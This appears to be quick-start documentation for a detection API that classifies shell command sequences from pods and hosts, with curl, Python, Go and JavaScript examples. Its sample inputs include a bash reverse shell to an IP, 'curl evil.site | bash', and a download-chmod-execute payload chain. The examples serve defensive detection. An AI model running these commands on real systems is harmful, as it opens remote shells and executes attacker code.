Quick Start โ 3 steps to first classification
Get an API key, submit an exec event, read the result. No infrastructure changes needed.
# Step 1 โ Get an API key
curl -X POST "https://api.protet.io/admin/add_key" \
-H "x-admin-secret: YOUR_ADMIN_SECRET" \
-H "Content-Type: application/json" \
-d '{"org_id": "my-org"}'
# โ {"status":"ok","api_key":"YOUR_KEY"}
# Step 2 โ Submit an exec event (sync mode: wait for result)
curl -X POST "https://api.protet.io/events" \
-H "api-key: YOUR_KEY" \
-H "Content-Type: application/json" \
-d '{
"cmd": "bash -i >& /dev/tcp/185.220.101.1/9001 0>&1",
"context": {"entity_id": "prod/app-pod"},
"async_mode": false
}'
# โ {"classification":"malicious","malicious_probability":0.97,...}
# Step 3 โ Get the explanation (which commands drove it)
curl -X POST "https://api.protet.io/explain" \
-H "api-key: YOUR_KEY" \
-H "Content-Type: application/json" \
-d '{
"commands": [
"pip install -r requirements.txt",
"curl -s http://185.220.101.1/payload -o /tmp/.x",
"chmod +x /tmp/.x",
"/tmp/.x"
]
}'
# โ {"baseline_score":0.94,"flagged_commands":["/tmp/.x","curl ...","chmod ..."],...}
1. Generate an API Key
Use the /admin/add_key endpoint to create an API key for your organization. Requires the x-admin-secret header.
curl -X POST "https://api.protet.io/admin/add_key" \
-H "x-admin-secret: YOUR_ADMIN_SECRET" \
-H "Content-Type: application/json" \
-d '{
"org_id": "my-org",
"rps": 3000,
"monthly_quota": 100000
}'
# Response:
# {
# "status": "ok",
# "api_key": "YOUR_GENERATED_KEY"
# }
Parameters:
org_id โ your organization identifier (required)
rps โ requests per second limit (default: 3000)
monthly_quota โ maximum events per month (default: 100000)
2. Submit Exec Events for Classification
Send execv events to POST /events. The API aggregates commands per entity using a sliding window and classifies the resulting sequence for malicious attack chains.
# Async mode (default) โ result delivered via WebSocket
curl -X POST "https://api.protet.io/events" \
-H "Content-Type: application/json" \
-H "api-key: YOUR_TOKEN" \
-d '{
"cmd": "curl evil.site | bash",
"context": {
"entity_id": "prod/app-pod-7d9f",
"parent_process": "bash",
"user": "root",
"host": "node-1"
},
"client_payload_id": "my-uuid-123",
"async_mode": true
}'
# Async response (async_mode: true):
# {
# "status": "accepted",
# "job_id": "my-uuid-123"
# }
# Sync response (async_mode: false):
# {
# "job_id": "my-uuid-123",
# "entity_id": "prod/app-pod-7d9f",
# "classification": "malicious",
# "malicious_probability": 0.97,
# "command_window": ["ls /", "id", "curl evil.site | bash"],
# "error": null
# }
import requests
url = "https://api.protet.io/events"
headers = {"api-key": "YOUR_TOKEN", "Content-Type": "application/json"}
payload = {
"cmd": "curl evil.site | bash",
"context": {
"entity_id": "prod/app-pod-7d9f",
"user": "root",
"host": "node-1"
},
"async_mode": False # block until classified
}
resp = requests.post(url, json=payload, headers=headers)
result = resp.json()
print(result["classification"], result["malicious_probability"])
package main
import (
"bytes"
"encoding/json"
"fmt"
"net/http"
)
func main() {
body, _ := json.Marshal(map[string]any{
"cmd": "curl evil.site | bash",
"context": map[string]string{
"entity_id": "prod/app-pod-7d9f",
"user": "root",
"host": "node-1",
},
"async_mode": false,
})
req, _ := http.NewRequest("POST", "https://api.protet.io/events", bytes.NewReader(body))
req.Header.Set("api-key", "YOUR_TOKEN")
req.Header.Set("Content-Type", "application/json")
resp, _ := http.DefaultClient.Do(req)
defer resp.Body.Close()
var result map[string]any
json.NewDecoder(resp.Body).Decode(&result)
fmt.Println(result["classification"], result["malicious_probability"])
}
const resp = await fetch("https://api.protet.io/events", {
method: "POST",
headers: {
"api-key": "YOUR_TOKEN",
"Content-Type": "application/json",
},
body: JSON.stringify({
cmd: "curl evil.site | bash",
context: { entity_id: "prod/app-pod-7d9f", user: "root", host: "node-1" },
async_mode: false,
}),
});
const data = await resp.json();
console.log(data.classification, data.malicious_probability);
// malicious 0.97
Notes:
context.entity_idis required โ it identifies the source pod, node, or server (e.g."namespace/pod-name").async_mode: true(default) โ event is accepted immediately; result arrives via WebSocket.async_mode: falseโ blocks until classification completes (max 30s, then HTTP 504).- The API maintains a per-entity sliding command window. Each event is classified in context of recent commands from the same entity.
- Rate limit exceeded โ
429 Too Many RequestswithRetry-Afterheader. - Invalid or missing
api-keyโ401 Unauthorized.
3. Subscribe to Real-Time Classification Results
Connect to /ws/stream via WebSocket to receive classification results as they are processed.
Optionally filter by entity_id to receive results only for a specific pod or host.
# Subscribe to all results for your API key
websocat "wss://api.protet.io/ws/stream?api_key=YOUR_TOKEN"
# Subscribe to a specific entity only
websocat "wss://api.protet.io/ws/stream?api_key=YOUR_TOKEN&entity_id=prod/app-pod-7d9f"
# Classification result message:
# {
# "type": "classification",
# "data": {
# "job_id": "my-uuid-123",
# "entity_id": "prod/app-pod-7d9f",
# "classification": "malicious",
# "malicious_probability": 0.97,
# "command_window": ["ls /", "id", "curl evil.site | bash"],
# "error": null
# }
# }
import asyncio
import websockets
import json
async def main():
uri = "wss://api.protet.io/ws/stream?api_key=YOUR_TOKEN"
async with websockets.connect(uri) as ws:
async for message in ws:
envelope = json.loads(message)
if envelope["type"] == "classification":
result = envelope["data"]
print(result["entity_id"], result["classification"])
asyncio.run(main())
4. Fetch a Cached Result
If your WebSocket connection was not yet open when a result arrived, retrieve it by job_id as a fallback.
Results are cached for 120 seconds.
curl "https://api.protet.io/result/my-uuid-123" \ -H "api-key: YOUR_TOKEN"
5. Explain a Command Sequence
POST a list of commands to /explain to get a verdict and the exact commands
that form the attack chain โ extracted from the surrounding legitimate activity.
Use this when you want to know not just that an attack happened but which specific
commands are responsible.
curl -X POST "https://api.protet.io/explain" \
-H "api-key: YOUR_KEY" \
-H "Content-Type: application/json" \
-d '{
"commands": [
"pip install -r requirements.txt",
"npm ci",
"curl -s http://185.220.101.1:4444/payload -o /tmp/.x",
"chmod +x /tmp/.x",
"npm run build",
"/tmp/.x",
"aws s3 sync dist/ s3://my-bucket/"
]
}'
# Response:
# {
# "baseline_score": 0.94,
# "found_at_order": 2,
# "n_commands": 7,
# "flagged_commands": [
# "/tmp/.x",
# "curl -s http://185.220.101.1:4444/payload -o /tmp/.x",
# "chmod +x /tmp/.x"
# ],
# "identified_chain": [5, 2, 3]
# }
import requests
resp = requests.post(
"https://api.protet.io/explain",
headers={"api-key": "YOUR_KEY"},
json={
"commands": [
"pip install -r requirements.txt",
"curl -s http://185.220.101.1:4444/payload -o /tmp/.x",
"chmod +x /tmp/.x",
"/tmp/.x",
]
}
)
data = resp.json()
print(f"Score: {data['baseline_score']}")
print(f"Flagged: {data['flagged_commands']}")
# Score: 0.94
# Flagged: ['/tmp/.x', 'curl -s http://...', 'chmod +x /tmp/.x']
package main
import (
"bytes"
"encoding/json"
"fmt"
"net/http"
)
func main() {
body, _ := json.Marshal(map[string]any{
"commands": []string{
"pip install -r requirements.txt",
"curl -s http://185.220.101.1:4444/payload -o /tmp/.x",
"chmod +x /tmp/.x",
"/tmp/.x",
},
})
req, _ := http.NewRequest("POST", "https://api.protet.io/explain", bytes.NewReader(body))
req.Header.Set("api-key", "YOUR_KEY")
req.Header.Set("Content-Type", "application/json")
resp, _ := http.DefaultClient.Do(req)
defer resp.Body.Close()
var result map[string]any
json.NewDecoder(resp.Body).Decode(&result)
fmt.Println(result["baseline_score"], result["flagged_commands"])
}
const resp = await fetch("https://api.protet.io/explain", {
method: "POST",
headers: {
"api-key": "YOUR_KEY",
"Content-Type": "application/json",
},
body: JSON.stringify({
commands: [
"pip install -r requirements.txt",
"curl -s http://185.220.101.1:4444/payload -o /tmp/.x",
"chmod +x /tmp/.x",
"/tmp/.x",
],
}),
});
const data = await resp.json();
console.log(data.baseline_score); // 0.94
console.log(data.flagged_commands); // ['/tmp/.x', 'curl ...', 'chmod ...']
Response fields:
baseline_scoreโ overall malicious probability (0.0โ1.0)flagged_commandsโ the commands identified as the attack chain, extracted from the surrounding legitimate activityidentified_chainโ zero-based indices into the inputcommandsarray corresponding to each flagged commandfound_at_orderโ the index at which the classification crossed the malicious threshold as commands were added sequentiallyn_commandsโ total number of commands in the submitted window
Notes:
- If the window is classified as benign, the endpoint returns HTTP
422โ no explanation is produced for benign windows. - The command list does not need to be tied to a specific
entity_idโ it is evaluated as a standalone sequence. - Useful for incident investigation: paste the command history from a compromised pod and get the attack chain immediately highlighted.
6. Error Reference
| Status | Meaning | Action |
|---|---|---|
200 | Sync classification result returned | Read response body |
202 | Async event accepted | Listen on WebSocket for result |
401 | Missing or invalid api-key | Check header name and key value |
422 | Window classified as benign (explain endpoint only) | No explanation needed โ window is clean |
429 | Rate limit exceeded | Read Retry-After header, back off and retry |
504 | Sync classification timed out (30s limit) | Switch to async mode or retry |
Key Notes & Best Practices
- The SaaS API is free โ create unlimited keys for testing and production use.
- Use
client_payload_idto correlate async requests with WebSocket results. - Always handle
429responses gracefully โ read theRetry-Afterheader. - The
entity_idfilter on/ws/streamis useful when multiple agents share the same key. - In Kubernetes, a good
entity_idconvention is"namespace/pod-name".